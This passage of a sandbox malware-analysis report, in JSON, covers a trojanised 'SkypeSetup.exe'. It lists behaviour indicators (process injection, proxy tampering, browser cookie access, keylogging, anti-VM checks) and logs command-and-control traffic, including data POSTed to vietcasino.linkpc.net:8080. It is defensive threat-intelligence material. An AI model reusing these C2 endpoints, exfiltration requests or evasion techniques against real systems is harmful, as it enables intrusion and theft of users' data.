Target","mitre_attack_id":"T1047","relevance":3,"id":"target-10","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$2c","origin":"API Call","mitre_attack_id":"T1107","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2d","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"SkypeSetup.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"SkypeSetup.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"SkypeSetup.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"SkypeSetup.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"SkypeSetup.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"SkypeSetup.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2e","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"SkypeSetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"find.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"50/70 Antivirus vendors marked sample as malicious (71% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"50/70 Antivirus vendors marked sample as malicious (71% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"2/94 Antivirus vendors marked dropped file \"SkypeSetup.exe\" as malicious (classified as \"Trojan.Heur\" with 2% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"2/94 Antivirus vendors marked spawned process \"SkypeSetup.exe\" (PID: 1380) as malicious (classified as \"Trojan.Heur\" with 2% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"SkypeSetup.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0\"\n \"SkypeSetup.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Rpc\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$2f","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"SkypeSetup.exe\" checked file \"C:\"\n \"WMIC.exe\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$30","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"$31","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"$32","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.DLL at 00028144-00002136-7379-632-00E78581\n GetTimeZoneInformation@KERNEL32.DLL at 00028288-00002384-17868-632-00E78581\n GetTimeZoneInformation@KERNEL32.DLL at 00035229-00003612-35726-2677-0101F011\n GetTimeZoneInformation@KERNEL32.DLL at 00035539-00003520-55156-1971-0108A5F1\n GetTimeZoneInformation@KERNEL32.DLL at 00038331-00002812-58696-1970-002B0E60\n GetTimeZoneInformation@KERNEL32.DLL at 00040352-00000532-4853-1970-00400E60\n GetTimeZoneInformation@KERNEL32.DLL at 00042374-00001088-65418-1970-00EF0E60\n GetTimeZoneInformation@KERNEL32.dll at 44661-8094-005BF011","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"$33","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"$34","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNELBASE.DLL at 00034922-00001196-30633-57-00D8567E","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"powershell.exe\" issued a query \"select * from Win32_NetworkAdapterConfiguration\"\n \"powershell.exe\" issued a query \"select * from Win32_ComputerSystem\"\n \"powershell.exe\" issued a query \"$objects\"\n \"powershell.exe\" issued a query \"select * from Win32_OperatingSystem\"\n \"WMIC.exe\" issued a query \"SELECT hotfixid FROM Win32_QuickFixEngineering\"","origin":"API Call","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"$35","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"$36","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"vc_redist.x86.exe\" queries volume information of \"C:\\\" at 00028144-00002136-0000010C-81627674\n \"vc_redist.x86.exe\" queries volume information of \"C:\\\" at 00028144-00002136-0000010C-81631562","origin":"API Call","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET INFO EXE - Served Attached HTTP\" (SID: 2014520, Rev: 6, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$37","origin":"Registry Access","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$38","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"$39","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$3a","origin":"File/Memory","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"vc_redist.x86.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 70CE0000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"SkypeSetup.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"GetUserNameW@ADVAPI32.DLL at 00028144-00002136-7379-838-00E49AB0\n GetUserNameW@ADVAPI32.DLL at 00028288-00002384-17868-838-00E49AB0\n GetUserNameW@ADVAPI32.dll at 36300-1090-00409AB0","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"DES\" (Indicator: \"des\"; File: \"00035229-00003612.00000000.35730.01050000.00000002.mdmp\")","origin":"File/Memory","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"[0950:0A8C][2017-07-07T14:02:54]e000: Error 0x80070002: Failed to open uninstall key for potential related bundle: Oracle VM VirtualBox Guest Additions\" (Indicator: \"virtualbox\")\n \"[0858:0A90][2017-07-07T14:02:55]e000: Error 0x80070002: Failed to open uninstall key for potential related bundle: Oracle VM VirtualBox Guest Additions\" (Indicator: \"virtualbox\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"$3b","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /search.jsp?action=BaseInfo&u=664648787459 HTTP/1.1\nContent-Type: text/plain\nHost: vietcasino.linkpc.net:8080\nContent-Length: 6430\nExpect: 100-continue\nConnection: Keep-Alive\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"$3c","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Network Related","name":"Contacts Random Domain Names","description":"\"b.config.skype.com\" seems to be random","origin":"Network Traffic","relevance":5,"id":"network-6","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Network Related","name":"Detected increased number of ARP broadcast requests (network device lookup)","description":"Attempt to find devices in networks: \"192.168.56.23/32, ...\"","origin":"Network Traffic","relevance":10,"id":"network-32","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Pattern Matching","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00028144-00002136-7379-857-00E66FC7\n InternetReadFile@WININET.DLL at 00028288-00002384-17868-857-00E66FC7\n InternetReadFile@WININET.DLL at 00035590-00003524-50595-127-00853520\n InternetReadFile@WININET.DLL at 00038331-00002812-58696-126-001FF320\n InternetReadFile@WININET.DLL at 00039645-00002496-1931-178-00A14AD0\n InternetReadFile@WININET.DLL at 00040352-00000532-4853-126-0034F320\n InternetReadFile@WININET.DLL at 00042374-00001088-65418-126-00E3F320\n InternetReadFile@WININET.dll at 36300-1109-00426FC7","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains a remote desktop related string","description":"\"94)'A/EpD@Zo$f\\xoW,3|^_crB84VK!CQ<3Ev(H`1Ld{93^0%'Gvnc\" (Indicator for product: Generic VNC)","origin":"File/Memory","relevance":10,"id":"string-27","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"SkypeSetup.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"SkypeSetup.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat\" (Type: \"FileHandle\")\n \"DefaultPack.EXE\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"DefaultPack.EXE\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"DefaultSetup.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"BingSvc.exe\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"BSvcProcessor.exe\" had access to \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" (Type: \"FileHandle\")","origin":"Touched Handle","relevance":7,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to elevate privileges","description":"SetSecurityDescriptorDacl@ADVAPI32.DLL at 00028144-00002136-7379-644-00E73185\n SetEntriesInAclW@ADVAPI32.DLL at 00028144-00002136-7379-571-00E57D6C\n SetEntriesInAclW@ADVAPI32.DLL at 00028288-00002384-17868-571-00E57D6C\n SetSecurityDescriptorDacl@ADVAPI32.DLL at 00028288-00002384-17868-644-00E73185","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-44","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$3d","origin":"Registry Access","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411.exe.bin\" claimed CRC 2458154 while the actual is CRC 2481833","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n UnhandledExceptionFilter\n GetStartupInfoW\n GetCommandLineA\n GetProcAddress\n GetTempPathA\n LoadLibraryW\n WriteFile\n GetModuleHandleW\n TerminateProcess\n CreateProcessA\n CreateFileW\n Sleep\n GetTickCount\n CreateFileA\n ShellExecuteExA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$3e","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"Network Related","name":"Multiple malicious artifacts seen in the context of different hosts","description":"$3f","origin":"Network Traffic","relevance":10,"id":"network-27","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 201.139.226.67 on port 8080","origin":"Network Traffic","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"Codoso_PGV_PVID_4\" classified file \"all.bstring\" as \"apt,codoso\" based on indicators: \"dropper,SYSTEM\\CurrentControlSet\\Services\\,\" (Reference: https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, Author: Florian Roth)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"level":"malicious","category":"System Security","name":"References security related windows services","description":"\"wuauserv\" (Indicator: \"wuauserv\")","origin":"File/Memory","relevance":7,"id":"string-43","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Reads the active computer name"},{"detail":"Queries sensitive IE security settings"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Spyware","details_count":4,"details":[{"detail":"Accesses potentially sensitive information from local browsers"},{"detail":"POSTs files to a webserver"},{"detail":"Contains ability to open the clipboard"},{"detail":"Contains ability to retrieve keyboard strokes"}],"sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}]},"activity":{"stats":{"process_count":32,"spawned_processes_count":32,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":50,"imported_dlls_count":214,"dropped_files_count":0,"extracted_files_count":38,"files_written_count":841,"files_deleted_count":0,"registry_keys_created_count":68,"registry_keys_modified_count":0,"registry_keys_deleted_count":7,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":75,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":8,"dns_resolutions_count":11,"contacted_urls_count":6,"http_requests_count":6},"behavior_tags":["dlifopt","stardustchollima","targeted","apt","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared"],"sandbox_reports":[{"id":"60a0699814c58a17ef4dc93f","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ursu","contacted_countries":["USA"],"submit_name":"SkypeSetup.exe","analysis_start_time":"2021-05-16T00:38:54+00:00","indicators_count":{"informative":22,"suspicious":26,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared"],"is_in_unified_schema":true},{"id":"595f84c77ca3e15f067e6e95","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Malware.Heuristic","contacted_countries":["EU","MEX","USA"],"submit_name":"SkypeSetup.exe","analysis_start_time":"2017-07-07T13:55:49+00:00","indicators_count":{"informative":36,"suspicious":52,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"20.190.154.139","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"address":"52.114.32.25","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"address":"104.18.10.39","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"address":"23.38.131.139","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"address":"201.139.226.67","port":8080,"protocol":"TCP","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"address":"92.122.200.126","port":443,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"address":"52.174.193.75","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"address":"92.122.200.126","port":80,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}],"dns_resolutions":[{"domain":"cacerts.digicert.com","address":"104.18.10.39","ttl":105,"country":"United States","registrar_name":"GODADDY.COM, LLC","registrar_organization":"DigiCert, Inc.","registrar_name_servers":"NS1.P03.DYNECT.NET","registrar_creation_date":"1996-12-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"domain":"dogecoin.deaftone.com","ttl":1799,"country":"-","registrar_name":"DNC Holdings, Inc.","registrar_organization":"Domain Name Proxy Service, Inc Privacy ID# 13746533","registrar_name_servers":"NS1.DTDNS.COM","registrar_creation_date":"2003-04-13T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"domain":"secure.skypeassets.com","address":"23.13.155.103","ttl":783,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Skype","registrar_name_servers":"NS1.MSFT.NET","registrar_creation_date":"2010-08-18T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"domain":"dogecoin.deaftone.com:8080","address":"201.139.226.67","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"domain":"ipv4only.arpa","country":"-","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"domain":"vietcasino.linkpc.net:8080","address":"201.139.226.67","country":"Mexico","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"domain":"get.skype.com","address":"52.174.193.75","country":"United States","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"domain":"b.config.skype.com","address":"13.107.3.128","country":"United States","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"domain":"download.skype.com","address":"92.122.200.126","country":"European Union","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"domain":"vietcasino.linkpc.net","country":"-","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"domain":"ui.skype.com","address":"157.56.198.14","country":"United States","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]}],"http_requests":[{"host":"cacerts.digicert.com","host_ip":"104.18.10.39:80","url":"/DigiCertGlobalRootG2.crt","method":"GET","header":"GET /DigiCertGlobalRootG2.crt HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: cacerts.digicert.com","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"host":"dogecoin.deaftone.com","host_ip":"201.139.226.67:8080","url":"/mainls.cs","method":"GET","response_code":"200","header":"GET /mainls.cs HTTP/1.1\nContent-Type: text/plain\nHost: dogecoin.deaftone.com:8080\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"host":"vietcasino.linkpc.net","host_ip":"201.139.226.67:8080","url":"/search.jsp?action=BaseInfo&u=664648787459","method":"POST","response_code":"100","header":"POST /search.jsp?action=BaseInfo&u=664648787459 HTTP/1.1\nContent-Type: text/plain\nHost: vietcasino.linkpc.net:8080\nContent-Length: 6430\nExpect: 100-continue\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"host":"vietcasino.linkpc.net","host_ip":"201.139.226.67:8080","url":"/search.jsp?action=What&u=664648787459","method":"GET","response_code":"200","header":"GET /search.jsp?action=What&u=664648787459 HTTP/1.1\nContent-Type: text/plain\nHost: vietcasino.linkpc.net:8080","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"host":"get.skype.com","host_ip":"52.174.193.75:80","url":"/go/getskype-lightmsi?version=7.37.0.103","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /go/getskype-lightmsi?version=7.37.0.103 HTTP/1.1\nUser-Agent: SkypeSetupLight\nHost: get.skype.com\nConnection: 